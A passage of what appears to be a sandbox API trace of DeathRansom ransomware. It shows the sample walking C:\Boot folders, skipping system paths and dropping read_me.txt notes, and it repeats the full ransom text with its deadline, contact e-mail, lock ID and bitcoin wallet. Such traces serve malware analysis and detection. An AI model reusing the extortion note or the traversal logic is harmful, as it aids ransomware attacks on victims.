decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.657] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.658] CloseHandle (hObject=0x7b8) returned 1 [0077.659] GetProcessHeap () returned 0x540000 [0077.659] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.659] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0077.659] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP") returned 17 [0077.659] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0077.659] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0077.659] StrStrW (lpFirst="ja-jp", lpSrch="programdata") returned 0x0 [0077.659] StrStrW (lpFirst="ja-jp", lpSrch="$recycle.bin") returned 0x0 [0077.659] StrStrW (lpFirst="ja-jp", lpSrch="program files") returned 0x0 [0077.659] StrStrW (lpFirst="ja-jp", lpSrch="windows") returned 0x0 [0077.659] StrStrW (lpFirst="ja-jp", lpSrch="all users") returned 0x0 [0077.659] StrStrW (lpFirst="ja-jp", lpSrch="appdata") returned 0x0 [0077.659] GetProcessHeap () returned 0x540000 [0077.659] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.659] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\ja-JP" | out: lpString1="\\\\?\\C:\\Boot\\ja-JP") returned="\\\\?\\C:\\Boot\\ja-JP" [0077.659] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 13 [0077.659] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.660] GetProcessHeap () returned 0x540000 [0077.660] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.660] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\*") returned 19 [0077.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.660] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\.") returned 19 [0077.660] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.660] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.660] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.660] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\..") returned 20 [0077.661] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.661] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.661] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 33 [0077.661] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.661] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.661] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\ja-JP\\read_me.txt") returned 29 [0077.661] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\read_me.txt" (normalized: "c:\\boot\\ja-jp\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.661] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.661] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.662] CloseHandle (hObject=0x7b8) returned 1 [0077.664] GetProcessHeap () returned 0x540000 [0077.664] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.664] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0077.664] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR") returned 17 [0077.664] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0077.664] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0077.665] StrStrW (lpFirst="ko-kr", lpSrch="programdata") returned 0x0 [0077.665] StrStrW (lpFirst="ko-kr", lpSrch="$recycle.bin") returned 0x0 [0077.665] StrStrW (lpFirst="ko-kr", lpSrch="program files") returned 0x0 [0077.665] StrStrW (lpFirst="ko-kr", lpSrch="windows") returned 0x0 [0077.665] StrStrW (lpFirst="ko-kr", lpSrch="all users") returned 0x0 [0077.665] StrStrW (lpFirst="ko-kr", lpSrch="appdata") returned 0x0 [0077.665] GetProcessHeap () returned 0x540000 [0077.665] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.665] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\ko-KR" | out: lpString1="\\\\?\\C:\\Boot\\ko-KR") returned="\\\\?\\C:\\Boot\\ko-KR" [0077.665] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 14 [0077.665] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.666] GetProcessHeap () returned 0x540000 [0077.666] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.666] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\*") returned 19 [0077.666] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.666] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\.") returned 19 [0077.666] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.666] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.666] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.666] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\..") returned 20 [0077.666] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.666] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.666] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 33 [0077.666] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.666] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.667] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\ko-KR\\read_me.txt") returned 29 [0077.667] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\read_me.txt" (normalized: "c:\\boot\\ko-kr\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.667] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0077.667] WriteFile (in: hFile=0x7b8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0077.668] CloseHandle (hObject=0x7b8) returned 1 [0077.668] GetProcessHeap () returned 0x540000 [0077.668] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x4170060 | out: hHeap=0x540000) returned 1 [0077.668] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0077.668] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\memtest.exe") returned 23 [0077.668] FindNextFileW (in: hFindFile=0x32fc1c8, lpFindFileData=0x17f320 | out: lpFindFileData=0x17f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0077.668] wnsprintfW (in: pszDest=0x4180068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO") returned 17 [0077.668] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0077.668] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0077.668] StrStrW (lpFirst="nb-no", lpSrch="programdata") returned 0x0 [0077.668] StrStrW (lpFirst="nb-no", lpSrch="$recycle.bin") returned 0x0 [0077.668] StrStrW (lpFirst="nb-no", lpSrch="program files") returned 0x0 [0077.668] StrStrW (lpFirst="nb-no", lpSrch="windows") returned 0x0 [0077.668] StrStrW (lpFirst="nb-no", lpSrch="all users") returned 0x0 [0077.668] StrStrW (lpFirst="nb-no", lpSrch="appdata") returned 0x0 [0077.668] GetProcessHeap () returned 0x540000 [0077.668] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.668] lstrcpyW (in: lpString1=0x4170060, lpString2="\\\\?\\C:\\Boot\\nb-NO" | out: lpString1="\\\\?\\C:\\Boot\\nb-NO") returned="\\\\?\\C:\\Boot\\nb-NO" [0077.669] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 15 [0077.669] QueueUserWorkItem (Function=0x40a710, Context=0x4170060, Flags=0x0) returned 1 [0077.670] GetProcessHeap () returned 0x540000 [0077.670] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x4170060 [0077.670] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\*") returned 19 [0077.670] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0077.670] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\.") returned 19 [0077.670] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0077.670] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.670] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0077.670] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\..") returned 20 [0077.670] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.670] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0077.670] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui") returned 33 [0077.671] FindNextFileW (in: hFindFile=0x32fc208, lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0077.671] FindClose (in: hFindFile=0x32fc208 | out: hFindFile=0x32fc208) returned 1 [0077.671] wnsprintfW (in: pszDest=0x4170060, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Boot\\nb-NO\\read_me.txt") returned 29 [0077.671] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\read_me.txt" (normalized: "c:\\boot\\nb-no\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7b8 [0077.671] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 